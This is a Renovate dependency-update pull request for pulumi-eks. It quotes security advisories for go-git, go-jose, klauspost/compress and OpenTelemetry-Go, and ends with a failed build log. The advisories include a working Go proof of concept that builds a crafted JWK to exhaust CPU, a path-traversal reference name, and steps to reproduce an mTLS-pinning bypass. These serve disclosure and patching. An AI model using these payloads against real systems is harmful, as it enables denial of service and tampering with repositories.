Update vulnerable dependencies [SECURITY] by pulumi-renovate[bot] · Pull Request #2379 · pulumi/pulumi-eks

pulumi-renovate · 2026-09-09T05:32:01Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/go-git/go-git/v6	`v6.0.0-alpha.4` → `v6.0.0-alpha.5`
github.com/go-jose/go-jose/v4	`v4.1.4` → `v4.1.6`
github.com/klauspost/compress	`v1.18.7` → `v1.20.2`
go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc	`v0.19.0` → `v0.21.0`
go.opentelemetry.io/otel/exporters/otlp/otlptrace	`v1.41.0` → `v1.45.0`
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc	`v1.41.0` → `v1.45.0`
go.opentelemetry.io/otel/sdk	`v1.44.0` → `v1.45.0`
go.opentelemetry.io/otel/sdk/log	`v0.19.0` → `v0.21.0`
golang.org/x/net	`v0.58.0` → `v0.62.0`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

go-git: Worktree operations may follow symlinks

CVE-2026-71556 / GHSA-hc8v-wwc9-vgxm

More information

Details

Impact

A symlink traversal issue in go-git could allow worktree operations to modify files outside the intended worktree path.

The worktreeFilesystem wrapper rejected dangerous path strings, including paths containing .git, parent-directory components, or control characters. However, it did not prevent filesystem operations from following symbolic links that were already present in the worktree.

As a result, a path that is safe when evaluated as a string could still resolve into the repository's Git metadata directory. For example, if s is a symbolic link to .git, writing to s/config would modify .git/config.

A symbolic link at the final path component could also be followed. For example, if s points directly to .git/config, opening s for writing with truncation could overwrite the repository configuration.

Exploitation requires an attacker to be able to introduce or control a symbolic link in the worktree and cause the application to perform a write through that path.

Applications using storage/memory for their Storer, or go-billy/memfs for their Worktree, are not affected by this vulnerability.

Patches

The issue has been addressed by making the worktree filesystem wrapper a symlink-safe boundary.

Worktree operations now reject paths where an existing symbolic link in any path component could cause the operation to escape the intended worktree location, including symbolic links at the final component.

Users of filesystem-backed worktrees should upgrade to a patched version.

Credits

Thanks to @kodareef5 for reporting this issue and working with the go-git security team toward its resolution. 🥇
We would also like to thank @HughLewis20, who independently reported the same issue while a fix was already in progress.

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

go-git: Malicious reference names may modify files outside the reference storage

CVE-2026-71557 / GHSA-qgq7-7hm3-q39j

More information

Details

Impact

A path traversal issue in go-git could allow malicious reference names to access files outside the repository's intended reference storage.

Loose references are stored under .git/<reference-name>. The reference name was previously used as a path without verifying that the resolved path remained within the reference storage. A name such as refs/heads/../../config could therefore resolve to unrelated repository metadata such as .git/config or .git/HEAD.

A malicious Git server could advertise such a reference name. The name may also survive refspec mapping; for example, it could be mapped to refs/remotes/origin/../../config during a clone or fetch operation.

This vulnerability affects filesystem-backed repositories using the storage/filesystem package and its dotgit reference storage. Users relying exclusively on the in-memory storage implementation, storage/memory, are not affected, because reference names are not resolved as filesystem paths.

Exploitation requires an application using go-git with filesystem-backed storage to interact with a malicious Git server or otherwise process attacker-controlled reference names.

Patches

The issue has been addressed by validating reference names at the dotgit storage entry points and rejecting names whose resolved paths could escape the reference storage.

Users of filesystem-backed storage should upgrade to a patched version.

Workarounds

Applications that exclusively use storage/memory are not affected and do not require a workaround for this vulnerability.

For applications using filesystem-backed storage, avoid cloning from or fetching from untrusted Git servers until an upgrade is possible.

Applications that directly construct or process reference names may also validate them before passing them to filesystem-backed go-git storage. Application-level validation should only be considered a temporary mitigation and does not replace upgrading to a patched version.

References

Fixes:
- https://github.com/go-git/go-git/pull/2247
- https://github.com/go-git/go-git/pull/2254

Credits

Thanks to @Saku0512 for reporting this issue and @Sahana2524 for proposing the initial fix. 🙇

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

go-git: Worktree operations may follow symlinks

CVE-2026-71556 / GHSA-hc8v-wwc9-vgxm / GO-2026-6213

More information

Details

Impact

A symlink traversal issue in go-git could allow worktree operations to modify files outside the intended worktree path.

The worktreeFilesystem wrapper rejected dangerous path strings, including paths containing .git, parent-directory components, or control characters. However, it did not prevent filesystem operations from following symbolic links that were already present in the worktree.

As a result, a path that is safe when evaluated as a string could still resolve into the repository's Git metadata directory. For example, if s is a symbolic link to .git, writing to s/config would modify .git/config.

A symbolic link at the final path component could also be followed. For example, if s points directly to .git/config, opening s for writing with truncation could overwrite the repository configuration.

Exploitation requires an attacker to be able to introduce or control a symbolic link in the worktree and cause the application to perform a write through that path.

Applications using storage/memory for their Storer, or go-billy/memfs for their Worktree, are not affected by this vulnerability.

Patches

The issue has been addressed by making the worktree filesystem wrapper a symlink-safe boundary.

Worktree operations now reject paths where an existing symbolic link in any path component could cause the operation to escape the intended worktree location, including symbolic links at the final component.

Users of filesystem-backed worktrees should upgrade to a patched version.

Credits

Thanks to @kodareef5 for reporting this issue and working with the go-git security team toward its resolution. 🥇
We would also like to thank @HughLewis20, who independently reported the same issue while a fix was already in progress.

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

go-git: Malicious reference names may modify files outside the reference storage

CVE-2026-71557 / GHSA-qgq7-7hm3-q39j / GO-2026-6214

More information

Details

Impact

A path traversal issue in go-git could allow malicious reference names to access files outside the repository's intended reference storage.

Loose references are stored under .git/<reference-name>. The reference name was previously used as a path without verifying that the resolved path remained within the reference storage. A name such as refs/heads/../../config could therefore resolve to unrelated repository metadata such as .git/config or .git/HEAD.

A malicious Git server could advertise such a reference name. The name may also survive refspec mapping; for example, it could be mapped to refs/remotes/origin/../../config during a clone or fetch operation.

This vulnerability affects filesystem-backed repositories using the storage/filesystem package and its dotgit reference storage. Users relying exclusively on the in-memory storage implementation, storage/memory, are not affected, because reference names are not resolved as filesystem paths.

Exploitation requires an application using go-git with filesystem-backed storage to interact with a malicious Git server or otherwise process attacker-controlled reference names.

Patches

The issue has been addressed by validating reference names at the dotgit storage entry points and rejecting names whose resolved paths could escape the reference storage.

Users of filesystem-backed storage should upgrade to a patched version.

Workarounds

Applications that exclusively use storage/memory are not affected and do not require a workaround for this vulnerability.

For applications using filesystem-backed storage, avoid cloning from or fetching from untrusted Git servers until an upgrade is possible.

Applications that directly construct or process reference names may also validate them before passing them to filesystem-backed go-git storage. Application-level validation should only be considered a temporary mitigation and does not replace upgrading to a patched version.

References

Fixes:
- https://github.com/go-git/go-git/pull/2247
- https://github.com/go-git/go-git/pull/2254

Credits

Thanks to @Saku0512 for reporting this issue and @Sahana2524 for proposing the initial fix. 🙇

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Worktree operations may follow symlinks in github.com/go-git/go-git

CVE-2026-71556 / GHSA-hc8v-wwc9-vgxm / GO-2026-6213

More information

Details

Worktree operations may follow symlinks in github.com/go-git/go-git

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Path traversal via crafted reference names in github.com/go-git/go-git

CVE-2026-71557 / GHSA-qgq7-7hm3-q39j / GO-2026-6214

More information

Details

Path traversal via crafted reference names in github.com/go-git/go-git

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Go JOSE: DoS when parsing JWKs that contain RSA keys

CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

More information

Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: Panic during CBC-HMAC processing

CVE-2026-116585 / GHSA-4w3g-jfj2-cw2q

More information

Details

Summary

Decrypting a ciphertext with "A128CBC-HS256", "A192CBC-HS384", or "A256CBC-HS512" can result in a panic on untrusted input.

Note this advisory is the same as GHSA-6mp9-8xrw-74r4.

Details

Insufficient validation of parameters can lead to attempting to index into an empty buffer. See https://github.com/go-jose/go-jose/pull/292.

Workarounds

If the application does not require the CBC-HMAC modes for content encryption, and is using github.com/go-jose/go-jose/v4, do not include them in the list of ContentEncryption algorithms passed to ParseEncrypted / ParseEncryptedJSON / ParseEncryptedCompact.

Impact

Denial of service vulnerability. Any application which decrypts untrusted ciphertexts with the indicated algorithms is affected.

Acknowledgements

Thanks to Joshua Rogers of AISLE Research for reporting this problem.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: Panics in JSON parsing

CVE-2026-116586 / GHSA-vvm8-gf78-28g4

More information

Details

Summary

Parsing deeply nested JSON structures can hit Go's stack limit, causing the application to crash.

Note: this advisory is the same as GHSA-6mp9-8xrw-74r4.

Impact

Denial of service vulnerability. Any application that parses untrusted JSON via go-jose is exposed.

Workarounds

Reject large inputs before parsing them.

Acknowledgements

Thanks to Dohyun Kim (@azza999), Joshua Rogers of AISLE Research, and Sueun Cho for alerting us to the need to patch this.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: Panic during CBC-HMAC processing

CVE-2026-116585 / GHSA-4w3g-jfj2-cw2q

More information

Details

Summary

Decrypting a ciphertext with "A128CBC-HS256", "A192CBC-HS384", or "A256CBC-HS512" can result in a panic on untrusted input.

Note this advisory is the same as GHSA-6mp9-8xrw-74r4.

Details

Insufficient validation of parameters can lead to attempting to index into an empty buffer. See https://github.com/go-jose/go-jose/pull/292.

Workarounds

If the application does not require the CBC-HMAC modes for content encryption, and is using github.com/go-jose/go-jose/v4, do not include them in the list of ContentEncryption algorithms passed to ParseEncrypted / ParseEncryptedJSON / ParseEncryptedCompact.

Impact

Denial of service vulnerability. Any application which decrypts untrusted ciphertexts with the indicated algorithms is affected.

Acknowledgements

Thanks to Joshua Rogers of AISLE Research for reporting this problem.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: Panics in JSON parsing

CVE-2026-116586 / GHSA-vvm8-gf78-28g4

More information

Details

Summary

Parsing deeply nested JSON structures can hit Go's stack limit, causing the application to crash.

Note: this advisory is the same as GHSA-6mp9-8xrw-74r4.

Impact

Denial of service vulnerability. Any application that parses untrusted JSON via go-jose is exposed.

Workarounds

Reject large inputs before parsing them.

Acknowledgements

Thanks to Dohyun Kim (@azza999), Joshua Rogers of AISLE Research, and Sueun Cho for alerting us to the need to patch this.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: DoS when parsing JWKs that contain RSA keys

CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

More information

Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Panic on two-block frames in github.com/klauspost/compress

CVE-2026-116591 / GHSA-fpmh-frq8-7rj8 / GO-2026-6865

More information

Details

Panic on two-block frames in github.com/klauspost/compress

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

OpenTelemetry-Go: Log gRPC exporter ignores env TLS certs, bypassing mTLS/pinning

CVE-2026-81871 / GHSA-w34q-cm8f-9c5x

More information

Details

Summary

The OTLP log gRPC exporter loads TLS settings from environment variables but does not apply them when creating gRPC transport credentials. Operators who rely on OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE, OTEL_EXPORTER_OTLP_CERTIFICATE, or related client certificate variables for CA pinning or mTLS get a connection that falls back to system roots and omits the env-supplied client certificate. A network attacker who can intercept or spoof the collector connection with a system-trusted certificate can read or alter log telemetry.

Introduced in commit: d99c76f

Details

The affected code is in exporters/otlp/otlplog/otlploggrpc.

newConfig resolves env-based TLS configuration into cfg.tlsCfg at exporters/otlp/otlplog/otlploggrpc/config.go:106-116. The finding also identifies loadEnvTLS at config.go:451-492 as the code that builds a *tls.Config containing RootCAs and client certificates from OTEL_EXPORTER_OTLP[_LOGS]_CERTIFICATE and OTEL_EXPORTER_OTLP[_LOGS]_CLIENT_CERTIFICATE/KEY.

However, newGRPCDialOptions in exporters/otlp/otlplog/otlploggrpc/client.go:83-92 only checks cfg.gRPCCredentials and cfg.insecure. When neither is set, which is the normal env-only TLS configuration path, it uses credentials.NewTLS(nil). That default trusts the host system root CAs and contains no env-supplied client certificate. The finding evidence reports no other tlsCfg use in the package, so env-based CA pinning and mTLS settings are loaded but not enforced.

PoC

validation-artifact.zip

The validation artifact contains a ready-to-run test at validation-artifact.zip:./poc_env_tls_ignored_test.go and brief instructions at validation-artifact.zip:./README.md.

From a checkout of pellared/opentelemetry-go at commit d99c76f, with Go module dependencies available:

FINDING_DIR=/path/to/02-e6e2897a969c8191b260f243fbc99ebd-log-grpc-exporter-ignores-env-tls-certs-bypassing-mtls-pinning
cd /path/to/opentelemetry-go
git checkout d99c76f
tar -xOf validation-artifact.tar ./poc_env_tls_ignored_test.go > exporters/otlp/otlplog/otlploggrpc/poc_env_tls_ignored_test.go
cd exporters/otlp/otlplog/otlploggrpc
GO111MODULE=on go test -v -run TestEnvTLSIgnored -count=1

The test generates a private CA and a TLS gRPC logs server certificate signed by that CA. It sets:

OTEL_EXPORTER_OTLP_LOGS_ENDPOINT=https://127.0.0.1:<test-port>
OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE=<temp-dir>/ca.pem

Expected output includes an unknown authority failure for the first export call even though the env certificate points to the server CA, followed by a passing test after the same cfg.tlsCfg is explicitly wired through WithTLSCredentials:

=== RUN   TestEnvTLSIgnored
    poc_env_tls_ignored_test.go:...: export error (expected due to ignored tlsCfg): ... x509: certificate signed by unknown authority
--- PASS: TestEnvTLSIgnored
PASS

This demonstrates that the env CA is parsed into cfg.tlsCfg but ignored by the default gRPC dial path.

Impact

This is improper TLS certificate validation and endpoint authentication caused by ignoring configured trust material. Users of the OTLP log gRPC exporter who configure TLS, CA pinning, or mTLS through environment variables are impacted when they do not also supply explicit WithTLSCredentials. TLS still occurs with system roots, but the intended private CA pinning and client certificate authentication are bypassed. An attacker with a suitable network position and a system-trusted certificate for the collector endpoint can intercept or tamper with log telemetry that operators expected to be protected by the configured CA or mTLS policy.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

OpenTelemetry-Go: Log gRPC exporter ignores env TLS certs, bypassing mTLS/pinning

CVE-2026-81871 / GHSA-w34q-cm8f-9c5x / GO-2026-6508

More information

Details

Summary

The OTLP log gRPC exporter loads TLS settings from environment variables but does not apply them when creating gRPC transport credentials. Operators who rely on OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE, OTEL_EXPORTER_OTLP_CERTIFICATE, or related client certificate variables for CA pinning or mTLS get a connection that falls back to system roots and omits the env-supplied client certificate. A network attacker who can intercept or spoof the collector connection with a system-trusted certificate can read or alter log telemetry.

Introduced in commit: d99c76f

Details

The affected code is in exporters/otlp/otlplog/otlploggrpc.

newConfig resolves env-based TLS configuration into cfg.tlsCfg at exporters/otlp/otlplog/otlploggrpc/config.go:106-116. The finding also identifies loadEnvTLS at config.go:451-492 as the code that builds a *tls.Config containing RootCAs and client certificates from OTEL_EXPORTER_OTLP[_LOGS]_CERTIFICATE and OTEL_EXPORTER_OTLP[_LOGS]_CLIENT_CERTIFICATE/KEY.

However, newGRPCDialOptions in exporters/otlp/otlplog/otlploggrpc/client.go:83-92 only checks cfg.gRPCCredentials and cfg.insecure. When neither is set, which is the normal env-only TLS configuration path, it uses credentials.NewTLS(nil). That default trusts the host system root CAs and contains no env-supplied client certificate. The finding evidence reports no other tlsCfg use in the package, so env-based CA pinning and mTLS settings are loaded but not enforced.

PoC

validation-artifact.zip

The validation artifact contains a ready-to-run test at validation-artifact.zip:./poc_env_tls_ignored_test.go and brief instructions at validation-artifact.zip:./README.md.

From a checkout of pellared/opentelemetry-go at commit d99c76f, with Go module dependencies available:

FINDING_DIR=/path/to/02-e6e2897a969c8191b260f243fbc99ebd-log-grpc-exporter-ignores-env-tls-certs-bypassing-mtls-pinning
cd /path/to/opentelemetry-go
git checkout d99c76f
tar -xOf validation-artifact.tar ./poc_env_tls_ignored_test.go > exporters/otlp/otlplog/otlploggrpc/poc_env_tls_ignored_test.go
cd exporters/otlp/otlplog/otlploggrpc
GO111MODULE=on go test -v -run TestEnvTLSIgnored -count=1

The test generates a private CA and a TLS gRPC logs server certificate signed by that CA. It sets:

OTEL_EXPORTER_OTLP_LOGS_ENDPOINT=https://127.0.0.1:<test-port>
OTEL_EXPORTER_OTLP_LOGS_CERTIFICATE=<temp-dir>/ca.pem

Expected output includes an unknown authority failure for the first export call even though the env certificate points to the server CA, followed by a passing test after the same cfg.tlsCfg is explicitly wired through WithTLSCredentials:

=== RUN   TestEnvTLSIgnored
    poc_env_tls_ignored_test.go:...: export error (expected due to ignored tlsCfg): ... x509: certificate signed by unknown authority
--- PASS: TestEnvTLSIgnored
PASS

This demonstrates that the env CA is parsed into cfg.tlsCfg but ignored by the default gRPC dial path.

Impact

This is improper TLS certificate validation and endpoint authentication caused by ignoring configured trust material. Users of the OTLP log gRPC exporter who configure TLS, CA pinning, or mTLS through environment variables are impacted when they do not also supply explicit WithTLSCredentials. TLS still occurs with system roots, but the intended private CA pinning and client certificate authentication are bypassed. An attacker with a suitable network position and a system-trusted certificate for the collector endpoint can intercept or tamper with log telemetry that operators expected to be protected by the configured CA or mTLS policy.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

OpenTelemetry-Go: Log gRPC exporter ignores env TLS certs, bypassing mTLS/pinning in go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc

CVE-2026-81871 / GHSA-w34q-cm8f-9c5x / GO-2026-6508

More information

Details

OpenTelemetry-Go: Log gRPC exporter ignores env TLS certs, bypassing mTLS/pinning in go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

OpenTelemetry-Go: Exporter config logging may leak endpoint URLs in info logs

CVE-2026-81870 / GHSA-8wmf-6v46-5gfg

More information

Details

Summary

OpenTelemetry Go versions 1.5.0 through 1.44.0 can include trace exporter endpoint configuration in an internal diagnostic log emitted when an SDK TracerProvider is created. The default OpenTelemetry logger does not emit this event. Exposure requires an application to install a logger that enables OpenTelemetry's internal Info-level diagnostics and for someone other than the intended audience to have access to those logs.

The logged configuration can disclose the address of the trace collector and whether the OTLP/HTTP connection is configured as insecure. The Zipkin exporter logs its complete collector URL, so credentials in URL userinfo or tokens in the query string are also disclosed if an application embeds them there. OTLP authentication headers, TLS key material, and exported span data are not included in this log.

Exporter MarshalLog implementations that caused this configuration to be included in internal logs were introduced by a1fff3c.

Details

When sdk/trace.NewTracerProvider constructs a provider, it records a TracerProvider created internal Info event containing the provider configuration. In affected versions, the configuration's MarshalLog methods recursively include:

the provider's span processors;
each processor's span exporter; and
for the OTLP trace exporter, its client configuration.

This causes the following values to be present in the event:

OTLP trace gRPC: the configured endpoint;
OTLP trace HTTP: the configured endpoint and the Insecure flag; and
Zipkin: the complete collector URL.

OpenTelemetry Go does not emit this event with its default logger, which only emits errors. An application must explicitly configure a sufficiently verbose logger with otel.SetLogger. The required logr verbosity is version-dependent:

versions 1.5.0 through 1.14.x use V(1) for this Info event; and
versions 1.15.0 through 1.44.0 use V(4).

OTLP header configuration is not part of the marshaled object, so credentials supplied with WithHeaders or the corresponding environment variables are not exposed. The documented OTLP WithEndpoint input is a collector address rather than a credential-bearing URL. The higher-risk case is therefore the Zipkin collector URL, which is retained and logged in full, or an application passing sensitive data in an OTLP endpoint outside the documented format.

Proof of concept

The following program demonstrates the behavior with OpenTelemetry Go 1.44.0. It deliberately places credentials and a token in the Zipkin collector URL and enables internal Info logging:

package main

import (
	"bytes"
	"context"
	"fmt"

	"github.com/go-logr/logr/funcr"
	"go.opentelemetry.io/otel"
	"go.opentelemetry.io/otel/exporters/zipkin"
	sdktrace "go.opentelemetry.io/otel/sdk/trace"
)

func main() {
	var logs bytes.Buffer
	otel.SetLogger(funcr.New(func(_, args string) {
		_, _ = logs.WriteString(args)
	}, funcr.Options{Verbosity: 4}))

	exporter, err := zipkin.New(
		"http://user:pass@zipkin.internal:9411/api/v2/spans?token=secret",
	)
	if err != nil {
		panic(err)
	}

	tp := sdktrace.NewTracerProvider(sdktrace.WithBatcher(exporter))
	_ = tp.Shutdown(context.Background())

	fmt.Println(logs.String())
}

The TracerProvider created event contains:

http://user:pass@zipkin.internal:9411/api/v2/spans?token=secret

For versions before 1.15.0, set funcr.Options{Verbosity: 1} instead.

Impact

This is a conditional disclosure through application logs. Affected applications must enable verbose OpenTelemetry internal diagnostics and configure a trace exporter containing information they do not intend to expose to readers of those logs. In that configuration, a person or system with log access can learn the trace collector address and internal network topology. If credentials or tokens are embedded directly in a Zipkin collector URL, those values can also be recovered from the logs.

There is no exposure with the default OpenTelemetry logger, and the vulnerable log is generated from local application configuration rather than remotely supplied span data. OTLP authentication headers, certificate or private-key contents, and telemetry payloads are not logged by this path.

Remediation

Upgrade the affected OpenTelemetry Go modules to version 1.45.0 or later. The fix in 3a1412d stops recursively marshaling exporter and client configuration and records their types instead.

If an immediate upgrade is not possible:

keep OpenTelemetry internal logging below the Info verbosity described above;
do not embed credentials or tokens in exporter endpoint URLs; use authentication headers or another supported credential mechanism; and
restrict access to existing logs and rotate any credentials that may already have been recorded.

Severity

CVSS Score: 2.0 / 10 (Low)
Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-8wmf-6v46-5gfg
https://nvd.nist.gov/vuln/detail/CVE-2026-81870
https://github.com/open-telemetry/opentelemetry-go/pull/8438
https://github.com/open-telemetry/opentelemetry-go/commit/3a1412d2b3bc4e4231fbeac2ed42117ae541bb38
https://github.com/open-telemetry/opentelemetry-go/releases/tag/exporters/zipkin/v1.45.0
[https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.45.0](https://redirect.github.com/open-telemetry/opentele

✂ Note

PR body was truncated to here.

pulumi-renovate · 2026-09-09T05:32:06Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: undefined

Command failed: make renovate
�[2mmise�[0m �[35m�[1m[deps.pulumi-java]�[0m                �[38;5;10m✓�[0m done
�[2mmise�[0m Installed: pulumi-java
go: downloading github.com/pulumi/pulumi-dotnet/pulumi-language-dotnet/v3 v3.112.0
go: downloading github.com/pulumi/pulumi/pkg/v3 v3.261.0
go: downloading github.com/pulumi/pulumi/sdk/v3 v3.261.0
go: downloading go.opentelemetry.io/otel v1.46.0
go: downloading go.opentelemetry.io/otel/trace v1.46.0
go: downloading github.com/segmentio/encoding v0.4.0
go: downloading go.opentelemetry.io/otel/sdk v1.46.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.46.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.46.0
go: downloading github.com/pulumi/inflector v0.2.1
go: downloading github.com/djherbis/times v1.6.0
go: downloading github.com/go-git/go-git/v6 v6.0.0-alpha.5
go: downloading go.mongodb.org/mongo-driver v1.17.9
go: downloading go.opentelemetry.io/contrib/bridges/otelslog v0.20.1
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.22.0
go: downloading go.opentelemetry.io/otel/sdk/log v0.22.0
go: downloading go.opentelemetry.io/otel/metric v1.46.0
go: downloading google.golang.org/genproto/googleapis/rpc v0.0.0-20260831171406-18b4a7587f8a
